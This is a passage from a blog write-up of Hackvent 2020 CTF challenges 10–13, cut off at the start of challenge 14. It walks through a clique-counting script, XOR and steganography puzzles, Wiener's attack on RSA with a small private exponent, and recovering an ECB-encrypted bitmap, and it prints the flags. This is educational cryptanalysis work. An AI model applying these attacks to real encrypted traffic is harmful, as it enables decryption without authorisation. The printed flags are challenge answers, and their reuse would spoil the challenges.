flag<\/li>\n<\/ul><\/p>\n\n<code>kali@kali:~\/hv20\/10$ cat cliqu0r.py \n#!\/usr\/bin\/env python3\n\nimport numpy\nimport sys\n\nedges = []\n\ndef get_neighbors(n):\n  global edges\n  neighbors = []\n  for e in edges:\n    if (n == e[0]):\n      if (e[1] not in neighbors): neighbors.append(e[1])\n    elif (n == e[1]):\n      if (e[0] not in neighbors): neighbors.append(e[0])\n  return neighbors\n\nd = open('out.col').read()\nfor l in d.split('\\n'):\n  if (l.startswith('e ')):\n    x = l.split(' ')\n    edges.append((int(x[1]), int(x[2])))\n\nkids = [104, 118, 55, 51, 123, 110, 111, 116, 95, 84, 72, 69, 126, 70, 76, 65, 71, 33, 61, 40, 124, 115, 48, 60, 62, 83, 79, 42, 82, 121, 125, 45, 98, 114, 101, 97, 100]\n\nfor k in kids:\n  ns = get_neighbors(k)\n  cur = 0\n  for n in ns:\n    inter = numpy.intersect1d(ns, get_neighbors(n), assume_unique=True)\n    if (len(inter) > cur): cur = len(inter)\n  print(chr(cur+2), end='')\n  sys.stdout.flush()\n<\/code>\n\n<p>Running the script yields the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/10$ .\/cliqu0r.py\nHV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"11\">HV20.11 Chris'mas carol<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/11.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_forensic.png\" width=\"20px\"\/> Forensic<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<\/td><\/tr>\n<tr><td>Author:<\/td><td>Chris<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nSince yesterday's challenge seems to have been a bit on the hard side, we're adding a small musical innuendo to relax.\n\nMy friend Chris from Florida sent me this score. Enjoy! Is this what you call postmodern?\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv11_01.png\" width=\"600px\"\/>\n\nP.S: Also, we're giving another 24h to get full points for the last challenge.\n\n\n<b>Hints<\/b>\n\nHe also sent <span class=\"fake_link\">this image<\/span>, but that doesn't look like Miami's skyline to me.\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>At first we need to read the notes on the provided sheet. The important point is that we don't only need the letters (<span class=\"hl\">C<\/span>, <span class=\"hl\">D<\/span>, <span class=\"hl\">E<\/span>, ...), but also the numbers (<span class=\"hl\">B2<\/span>, <span class=\"hl\">C4<\/span>, <span class=\"hl\">E3<\/span>, ...).<\/p>\n\n<p>As I cannot read notes and my only skill regarding music is listening to it, I took the following picture as a reference (taken from <a href=\"https:\/\/forum.kentamplinvocalacademy.com\/discussion\/9357\/notes-c1-b6-middle-c-a440-on-piano-guitar-music#\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>):<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv11_02.png\" width=\"800px\"\/><\/p>\n\n<p>Accordingly the upper notes are the following sequence: <span class=\"hl\">E3 B4 F4 E3 D3 E2 D3 A5 B5 D5 A2 E5 A5 E3 A3<\/span>.<\/p>\n\n<p>The lower notes are this sequence: <span class=\"hl\">B3 E3 D5 D3 A3 D1 A1 C4 E3 E4 D1 D4 D1 D3 D1<\/span>.<\/p>\n\n<p>By <span class=\"hl\">XOR<\/span>ing both sequences we get a password:<\/p>\n\n<code>kali@kali:~\/hv20\/11$ python3\n...\n>>> s1 = 0xE3B4F4E3D3E2D3A5B5D5A2E5A5E3A3\n>>> s2 = 0xB3E3D5D3A3D1A1C4E3E4D1D4D1D3D1\n>>> hex(s1^s2)\n'0x505721307033726156317331743072'\n>>> bytes.fromhex('505721307033726156317331743072')\nb'PW!0p3raV1s1t0r'\n<\/code>\n\n<p>The password is <span class=\"hl\">PW!0p3raV1s1t0r<\/span>.<\/p>\n\n<p>For the next part the image provided in the hint is relevant:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv11_03.png\" width=\"300px\"\/><\/p>\n\n<p>By doing a reverse <a href=\"https:\/\/www.google.com\/imghp\" rel=\"noopener noreferrer\" target=\"_blank\">google image search<\/a> for the image, we get to know that the skyline shown is Hong Kong. Also google provides a link to an <a href=\"https:\/\/www.mobilefish.com\/services\/steganography\/steganography.php#google_vignette\" rel=\"noopener noreferrer\" target=\"_blank\">online steganography website<\/a>:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv11_04.png\" width=\"800px\"\/><\/p>\n\n<p>On the website we can upload the note sheet image and click on decrypt:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv11_05.png\" width=\"600px\"\/><\/p>\n\n<p>There is no obvious feedback of success, though at the bottom of the page a file can be dowloaded, which was exctracted from the image:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv11_06.png\" width=\"600px\"\/><\/p>\n\n<p>The file is called <span class=\"hl\">flag.zip<\/span> and is an encrypted zip archive:<\/p>\n\n<code>kali@kali:~\/hv20\/11$ file flag.zip \nflag.zip: Zip archive data, at least v5.1 to extract\nkali@kali:~\/hv20\/11$ zipinfo flag.zip \nArchive:  flag.zip\nZip file size: 221 bytes, number of entries: 1\n-rw-a--     6.3 fat       21 Bx u099 20-Dec-10 17:09 flag.txt\n1 file, 21 bytes uncompressed, 37 bytes compressed:  -76.2%\n<\/code>\n\n<p>Using the previously revealed password we can extract the <span class=\"hl\">flag.txt<\/span> file:<\/p>\n\n<code>kali@kali:~\/hv20\/11$ 7z x flag.zip \n\n7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21\np7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (906EA),ASM,AES-NI)\n\nScanning the drive for archives:\n1 file, 221 bytes (1 KiB)\n\nExtracting archive: flag.zip\n--\nPath = flag.zip\nType = zip\nPhysical Size = 221\n\n    \nEnter password (will not be echoed): (PW!0p3raV1s1t0r)\nEverything is Ok\n\nSize:       21\nCompressed: 221\n<\/code>\n\n<p>The file contains the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/11$ cat flag.txt\nHV20{r3ad-th3-mus1c!}<\/code>\n\n\n<p>The flag is <span class=\"hl\">HV20{r3ad-th3-mus1c!}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"12\">HV20.12 Wiener waltz<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/12.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<\/td><\/tr>\n<tr><td>Author:<\/td><td>SmartSmurf<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nDuring their yearly season opening party our super-smart elves developed an improved usage of the well known RSA crypto algorithm. Under the \"Green IT\" initiative they decided to save computing horsepower (or rather reindeer power?) on their side. To achieve this they chose a pretty large private exponent, around 1\/4 of the length of the modulus - impossible to guess. The reduction of 75% should save a lot of computing effort while still being safe. Shouldn't it?\nMission\n\nYour SIGINT team captured some communication containing key exchange and encrypted data. Can you recover the original message?\n\n<span class=\"fake_link\">Download<\/span>\n\n\n<b>Hints<\/b>\n\nDon't waste time with the attempt to brute-force the private key\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided <span class=\"hl\">pcap<\/span> file contains a TCP stream with the key exchange and encrypted data:<\/p>\n\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv12_01.png\" width=\"800px\"\/><\/p>\n\n<p>At first the server announces its RSA public key, which consists of the modulus <span class=\"hl\">n<\/span> as well as exponent <span class=\"hl\">e<\/span>:<\/p>\n\n<code>\"n\": \"dbn25TSjDhUge4L68AYooIqwo0HC2m...\",\n\"e\": \"S\/0OzzzDRdsps+I85tNi4d1i3d0Eu8...\"\n<\/code>\n\n<p>The important part here is the format, that is also transmitted:<\/p>\n\n<code>\"format\": [\"mpz_export\",-1,4,1,0]\n<\/code>\n\n<p>By googling for <span class=\"hl\">mpz_export<\/span> we can find <a href=\"https:\/\/machinecognitis.github.io\/Math.Gmp.Native\/html\/c9d371c8-8c16-77a3-2c47-8edae05276c5.htm\" rel=\"noopener noreferrer\" target=\"_blank\">this page<\/a>, which contains an example with the very exact format. The <span class=\"hl\">order<\/span> is <span class=\"hl\">-1<\/span>, which means that the least significant word comes first. The <span class=\"hl\">size<\/span> of a word is <span class=\"hl\">4<\/span> and the <span class=\"hl\">endian<\/span>ess is <span class=\"hl\">1<\/span> (MSB first). The value for <span class=\"hl\">nails<\/span> is <span class=\"hl\">0<\/span> (no bits to skip).<\/p>\n\n<p>Using the following python script, we can convert the base64-encoded values from the TCP stream to integers:<\/p>\n\n<code>kali@kali:~\/hv20\/12$ cat convert0r.py \n#!\/usr\/bin\/env python3\n\nfrom base64 import b64decode\n\ndef get_int(b64):\n  v = b64decode(b64)\n  r = b''\n  for i in range(0, len(v), 4):\n    r += v[i:i+4][::-1]\n  return int.from_bytes(r, 'little')\n\nn_b64 = 'dbn25TSjDhUge4L68AYooIqwo0HC2mIYxK\/ICnc+8\/0fZi1CHo\/QwiPCcHM94jYdfj3PIQFTri9j\/za3oO+3gVK39bj2O9O...'\nn = get_int(n_b64)\nprint(n)\n\ne_b64 = 'S\/0OzzzDRdsps+I85tNi4d1i3d0Eu8pimcP5SBaqTeBzcADturDYHk1QuoqdTtwX9XY1Wii6AnySpEQ9eUEETYQkTRpq9rB...'\ne = get_int(e_b64)\nprint(e)\n<\/code>\n\n<p>The script diplays <span class=\"hl\">n<\/span> first and then <span class=\"hl\">e<\/span> (I added a few newlines here):<\/p>\n\n<code>kali@kali:~\/hv20\/12$ .\/convert0r.py \n21136187113648735910956792902340987261238482724808044660872655926597365083148384784275999147719115005171023510870084682239018605609\n84459489488040560951081463440453686864915540312905790353225701906084268699463415520597846738330951988192182335427359093686104543184\n15232830598917290694505318231938297581984521951598390018024098083103035392708285817921368175899727439219045359217492803301539012915\n31642543946250472645757855636930605097838505480384294629089321241798555566459046743741824235125746402090921912493396059817338067723\n079903962753795145687173236901003277653830701564333638891277876961702941978996729372105897701\n\n12703148700486856571456640284543930158485441147798980218669328932721873837903118006895885638306703700146300157588744922573525972231\n89088317179438114015914643236611669142235358561993880306056316616051307114203188878058142887121035337607778211463601254714542115424\n63970692986586683720486379740967285563781920418238656002457288663608203034635082886770345054626149414257723654400250163546228785865\n68634346248386264921756141627262617888108166058845769396410463089005177762158324354462305559557728141729110983431022424786938837309\n186823930758907423061347118761390982013522713098779662020937499191572512966979990705904881359\n<\/code>\n\n<p>Before we start, let's also read and convert the encrypted data, which is stored in four blocks. Please notice that the blocks are not send in order. Using the following python script we can convert the single blocks to the single encrypted integer value <span class=\"hl\">c<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/12$ cat convert0r_data.py \n#!\/usr\/bin\/env python3\n\nfrom base64 import b64decode\n\nc  = b64decode('fJdSIoC9qz27pWVpkXTIdJPuR9Fidfkq1IJPRQdnTM2XmhrcZToycoEoqJy91BxikRXQtioFKbS7Eun7oVS0yw==')\nc += b64decode('vzwheJ3akhr1LJTFzmFxdhBgViykRpUldFyU6qTu5cjxd1fOM3xkn49GYEM+2cUVk22Tu5IsYDbzJ4\/zSDfzKA==')\nc += b64decode('fRYUyYEINA5i\/hCsEtKkaCn2HsCp98+ksi\/8lw1HNTP+KFyjwh2gZH+nkzLwI+fdJFbCN5iwFFXo+OzgcEMFqw==')\nc += b64decode('+y2fMsE0u2F6bp2VP27EaLN68uj2CXm9J1WVFyLgqeQryh5jMyryLwuJNo\/pz4tXzRqV4a8gM0JGdjvF84mf+w==')\nc  = int.from_bytes(c, 'big')\nprint(c)\n<\/code>\n\n<p>The script displays the value of <span class=\"hl\">c<\/span> as an integer (newlines added):<\/p>\n\n<code>kali@kali:~\/hv20\/12$ .\/convert0r_data.py \n15728168902580001908597516462333326018530211196966332004405204181339039750500231671925994577113088042149317557183451400765813081420\n69680831192705779124646456119479714439726589895116868877763722852659819554711209161485362745014769388403098877755544748854827299713\n35714209124161667010559580631893836466985271291429181755043468310259939660325744697394251111301222536298291437239001254493421271812\n40374096535321144237731152040526918071868603539495524381155246254890454199469350492226229443133055753874748977614593062562820322902\n874503410694904482016403214529911487245403091812683802132470939500989349886833516053615190011\n<\/code>\n\n<p>In order to decrypt the message, we need to find the private exponent <span class=\"hl\">d<\/span>.<\/p>\n\n<p>As the description states, <span class=\"hl\">d<\/span> is only 1\/4 the size of the modulus (<span class=\"hl\">n<\/span>), which is actually pretty small. Such a small private exponent makes the data exchange prone to the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Wiener%27s_attack\" rel=\"noopener noreferrer\" target=\"_blank\">Wiener's attack<\/a>.<\/p>\n\n<p>I used <a href=\"https:\/\/github.com\/pablocelayes\/rsa-wiener-attack\" rel=\"noopener noreferrer\" target=\"_blank\">this python implementation<\/a> in order to carry out the attack. We simply need to clone the repository ...<\/p>\n\n\n<code>kali@kali:~\/hv20\/12$ git clone https:\/\/github.com\/pablocelayes\/rsa-wiener-attack\nCloning into 'rsa-wiener-attack'...\nremote: Enumerating objects: 21, done.\nremote: Total 21 (delta 0), reused 0 (delta 0), pack-reused 21\nUnpacking objects: 100% (21\/21), 123.54 KiB | 1.56 MiB\/s, done.\n<\/code>\n\n<p>... and adjust the file <span class=\"hl\">RSAwienerHacker.py<\/span> with our concrete values for <span class=\"hl\">n<\/span> and <span class=\"hl\">e<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/12\/rsa-wiener-attack$ cat RSAwienerHacker.py\n...\ndef test_hack_RSA():\n    print(\"Testing Wiener Attack\")\n    times = 5\n    n = 2113618711364873591095679290234098726123848272...\n    e = 1270314870048685657145664028454393015848544114...\n    \n    hacked_d = hack_RSA(e, n)\n    print(hacked_d) \n\n...<\/code>\n\n<p>If we now run the script, the private exponent <span class=\"hl\">d<\/span> is displayed:<\/p>\n\n<code>\nkali@kali:~\/hv20\/12\/rsa-wiener-attack$ python RSAwienerHacker.py \nTesting Wiener Attack\nHacked!\n6466004211023169931626852412529775638154232788523485346270752857587637907099874953950214032608531274791907536993470882928101441905551719029085370950197807\n<\/code>\n\n<p>Now we only need to calculate <span class=\"hl\">m = c**d % n<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/12$ cat final.py \n#!\/usr\/bin\/env python3\n\nimport gmpy2\n\nn = 211361871136487359109567929023409872612384827248080446...\nc = 157281689025800019085975164623333260185302111969663320...\nd = 646600421102316993162685241252977563815423278852348534...\n\nm = gmpy2.powmod(c, d, n)\nprint(hex(m))\n<\/code>\n\n<p>Running the script displays the decrypted message <span class=\"hl\">m<\/span> (newlines added):<\/p>\n\n<code>kali@kali:~\/hv20\/12$ .\/final.py\n0x10000000000000000000000000000000d596f75206d61646520697421204865726520697320796f757220666c61673a20485632307b35686f72375f5072697633\n78705f61316e375f6e305f356d6172377d0d0d476f6f64206c75636b20666f72204861636b76656e742c206d6572727920582d6d617320616e6420616c6c2074686\n5206265737420666f7220323032312c2067726565747a20536d617274536d7572660000000000000000000000000000000000000000000000000000000000000000\n000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n<\/code>\n\n<p>By omitting the leading <span class=\"hl\">1<\/span> and converting the hex string to ASCII, we get the flag:<\/p>\n\n<code>kali@kali:~\/hv20\/12$ python3\n...\n&gt;&gt;&gt; bytes.fromhex('0000000000000000000000000000000d596f75206d6164652069...')\nb'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\rYou made it! Here is your flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}\\r\\rGood luck for Hackvent, merry X-mas and all the best for 2021, greetz SmartSmurf\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{5hor7_Priv3xp_a1n7_n0_5mar7}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"13\">HV20.13 Twelve steps of christmas<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/13.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_forensic.png\" width=\"20px\"\/> Forensic<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_crypto.png\" width=\"20px\"\/> Crypto<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/nonsxd\" rel=\"noopener noreferrer\" target=\"_blank\">bread<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nOn the ninth day of Christmas my true love sent to me...\n\nnineties style xls,\neighties style compression,\nseventies style crypto,\nand the rest has been said previously.\n\n<span class=\"fake_link\">Download<\/span>\n\n\n<b>Hints<\/b>\n\nWait, Bread is on the Nice list? Better check that comment again...\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided file is an <span class=\"hl\">Excel<\/span> document:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ file 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls \n5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: Test Data, Author: Unknown Creator, Last Saved By: bread, Name of Creating Application: Microsoft Excel, Create Time\/Date: Sun Nov 29 23:54:57 2020, Last Saved Time\/Date: Sat Dec 12 12:43:38 2020, Security: 0\n<\/code>\n\n<p>The <span class=\"hl\">Comment<\/span> field for <span class=\"hl\">Bread B. Sticks<\/span> contains a hex sequence (<span class=\"hl\">1f 9d 8c 42 ...<\/span>):<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv13_01.png\" width=\"800px\"\/><\/p>\n\n<p>We get back to this sequence later.<\/p>\n\n<p>When running <span class=\"hl\">strings<\/span> on the file, we can notice another big hex sequence:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ strings -n 10 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls\nOLE Package\nUnknown Creator\nMicrosoft Excel\nD:\\CTFS\\HackVent\\2020\\Source\\twelve-steps-of-christmas\\part3\\resources\\part9\nC:\\Users\\bread\\AppData\\Local\\Temp\\{D7B743FA-2123-41EA-A49F-4B7EF5005334}\\part9\n1f9d8c53c2b0a15386cc972f5cd49d0a25e203051c30ee4492836c4ba141\nd17c08d294ee453501641e0819d7a5950d37ec32fc21f6af97303b6cb811\na0464a85025e566e7da8c30a8cae553977f6fcd960cdb23d99ce9c91b461\n430a0686da70c046a28e1533041464421694a74fa03abdfeec3a14acd0af\n64bf8a29208693255d8a3ca51d1bb6ec5cb362f1daad8b962fddb37ff3ea\n...\n<\/code>\n\n<p>After extracting the hex sequence to a single file ...<\/p>\n\n<code>kali@kali:~\/hv20\/13$ cat out.txt\n1f9d8c53c2b0a15386cc972f5cd49d0a25e203051c30ee4492836c4ba141\nd17c08d294ee453501641e0819d7a5950d37ec32fc21f6af97303b6cb811\n...\n0103200830400e4f000752100b41d00eb5900b774009dc900563100f59f0\n07b0e00a4100\n<\/code>\n\n<p>... we can convert it to a raw binary file using <span class=\"hl\">xxd<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ cat out.txt|xxd -r -p > out_raw\n<\/code>\n\n<p>Now <span class=\"hl\">file<\/span> stats that the file is <span class=\"hl\">compress'd data<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ file out_raw\nout_raw: compress'd data 12 bits\n<\/code>\n\n<p>In order to extract the file, we rename it to have a <span class=\"hl\">.z<\/span> extension and use <span class=\"hl\">uncompress<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ mv out_raw out.z\nkali@kali:~\/hv20\/13$ uncompress out.z\n<\/code>\n\n<p>The extracted file is <span class=\"hl\">openssl<\/span> encrypted:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ file out\nout: openssl enc'd data with salted password\n<\/code>\n\n<p>If we view the file with <span class=\"hl\">hexdump<\/span>, we can see that there are repetitive patterns:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ hexdump -C out\n00000000  53 61 6c 74 65 64 5f 5f  5c ea a7 a1 22 1f 14 38  |Salted__\\...\"..8|\n00000010  30 77 91 72 c8 5b 85 83  d1 3e 82 9a e9 2f d5 02  |0w.r.[...>...\/..|\n00000020  64 0f 42 e3 5d ad 36 6e  ec 19 7f c4 ff bd c2 76  |d.B.].6n.......v|\n00000030  6c dc 04 d4 a4 2a 0a bc  56 b7 1f 75 ac 60 ba ab  |l....*..V..u.`..|\n00000040  56 b7 1f 75 ac 60 ba ab  0d 6b cb 7b 99 67 67 92  |V..u.`...k.{.gg.|\n00000050  1b 1b 29 0c 86 6d 1c d8  24 75 56 66 04 0a 99 c8  |..)..m..$uVf....|\n00000060  56 b7 1f 75 ac 60 ba ab  56 b7 1f 75 ac 60 ba ab  |V..u.`..V..u.`..|\n*\n00000080  56 b7 1f 75 ac 60 ba ab  62 05 62 9c 96 ba 8a 9e  |V..u.`..b.b.....|\n00000090  56 b7 1f 75 ac 60 ba ab  56 b7 1f 75 ac 60 ba ab  |V..u.`..V..u.`..|\n*\n000000d0  56 b7 1f 75 ac 60 ba ab  7a f2 dc 07 bc 83 86 49  |V..u.`..z......I|\n000000e0  f6 4d 85 7b 55 c7 cc e3  e8 b5 2a 67 46 55 81 65  |.M.{U.....*gFU.e|\n000000f0  97 2c d4 20 7d 13 2d d2  43 8b 95 32 d6 43 97 22  |.,. }.-.C..2.C.\"|\n00000100  ba 57 45 2b 37 b9 81 fb  03 68 bf b0 06 dd d0 f2  |.WE+7....h......|\n00000110  75 f3 f1 1b 98 ef 03 03  fa 19 23 32 be 10 d5 24  |u.........#2...$|\n00000120  dc c0 f2 e2 1e 2e 05 25  fd c3 59 3e a8 6d 2f bc  |.......%..Y>.m\/.|\n00000130  07 b5 76 fe ff af fc ba  95 50 97 a7 3f c0 fd b9  |..v......P..?...|\n00000140  85 90 26 5c ed 24 2d bb  0a 96 94 f6 5b 8e 14 e4  |..&\\.$-.....[...|\n00000150  25 68 21 5b 61 5b 04 cd  47 f2 01 c4 06 f7 94 b3  |%h![a[..G.......|\n00000160  21 79 5b d9 a1 a0 09 8c  f1 c4 45 f5 5e 7b f1 28  |!y[.......E.^{.(|\n00000170  6d 77 c9 63 79 6c 4e 96  56 b7 1f 75 ac 60 ba ab  |mw.cylN.V..u.`..|\n00000180  56 b7 1f 75 ac 60 ba ab  56 b7 1f 75 ac 60 ba ab  |V..u.`..V..u.`..|\n*\n00000850  56 b7 1f 75 ac 60 ba ab  b6 b8 b8 83 d8 93 62 b2  |V..u.`........b.|\n00000860  1e f1 d1 24 98 d8 a9 99  e2 3f fe 47 01 6c 2f 5a  |...$.....?.G.l\/Z|\n...\n<\/code>\n\n<p>The repetitive patterns in the encrypted data is an indicator that <span class=\"hl\">ECB<\/span> was used to encrypt it. After a little bit of googling I found <a href=\"https:\/\/github.com\/jesstess\/tinyctf\/blob\/master\/ecb\/ecb.md\" rel=\"noopener noreferrer\" target=\"_blank\">this CTF writeup<\/a>, which deals with an openssl encrypted bitmap file.<\/p>\n\n<p>When <span class=\"hl\">ECB<\/span> is used, each block is encrypted independently from each other. Thus same blocks in plaintext will result in the same blocks within the ciphertext. This causes the repetitive patterns.<\/p>\n\n<p>In the before mentioned writeup a bitmap header is applied to the encrypted data. The resulting bitmap file can be displayed and is actually quite good visible.<\/p>\n\n<p>At this point the hex sequence from the <span class=\"hl\">Comment<\/span> field comes into play. After storing the bytes in a file, we get another <span class=\"hl\">compress'd data<\/span> file:<\/p>\n\n\n<code>kali@kali:~\/hv20\/13$ hexdump -C seq.z\n00000000  1f 9d 8c 42 9a 38 41 24  01 80 41 83 8a 0e f2 39  |...B.8A$..A....9|\n00000010  78 42 80 c1 86 06 03 00  00 01 60 c0 41 62 87 0a  |xB........`.Ab..|\n00000020  1e dc c8 71 23                                    |...q#|\n00000025\nkali@kali:~\/hv20\/13$ file seq.z\nseq.z: compress'd data 12 bits\n<\/code>\n\n<p>Again we can extract the data by using <span class=\"hl\">uncompress<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ uncompress seq.z<\/code>\n\n<p>The resulting data is actually a bitmap header:<\/p>\n\n<code>kali@kali:~\/hv20\/13$ file seq\nseq: PC bitmap, Windows 98\/2000 and newer format, 551 x 551 x 32\nkali@kali:~\/hv20\/13$ hexdump -C seq\n00000000  42 4d 4e 88 12 00 00 00  00 00 8a 00 00 00 7c 00  |BMN...........|.|\n00000010  00 00 27 02 00 00 27 02  00 00 01 00 20 00 03 00  |..'...'..... ...|\n00000020  00 00 c4 87 12 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000030  00 00 00 00 00 00                                 |......|\n00000036\n<\/code>\n\n<p>By simply prepending the encrypted data with the header ...<\/p>\n\n<code>kali@kali:~\/hv20\/13$ cp seq test.bmp\nkali@kali:~\/hv20\/13$ cat out &gt;&gt; test.bmp\n<\/code>\n\n<p>..., we can clearly see a QR code:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv13_02.png\" width=\"400px\"\/><\/p>\n\n<p>After some tinkering with <span class=\"hl\">GIMP<\/span> and a smartphone QR code scanner I was able to scan the QR code.<\/p>\n\n<p>The flag is <span class=\"hl\">HV20{U>watchout,U>!X,U>!ECB,Im_telln_U_Y.HV2020_is_comin_2_town}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"14\">HV20.14 Santa's Special GIFt<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/14.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_rev.png\" width=\"20px\"\/> Reverse Engineering<\/br><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_forensic.png\" width=\"20px\"\/> Forensic<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/the_compiler\" rel=\"noopener noreferrer\" target=\"_blank\">The Compiler<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nToday, you got a strange GIFt from Santa:\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv14_01.gif\"\/>\n\nYou are unsure what it is for. You do happen to have some wood lying around, but the tool seems to be made for metal. You notice how it has a rather strange size. You could use it for your fingernails, perhaps? If you keep looking, you might see some other uses...\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided image shows a <span class=\"hl\">file<\/span> tool and seems to be an ordinary <span class=\"hl\">GIF<\/span> file:<\/p>\n\n<code>kali@kali:~\/hv20\/14$ file 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif \n5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif: GIF image data, version 89a, 128 x 16\n<\/code>\n\n<p>Running <span class=\"hl\">strings<\/span> on the file reveals a 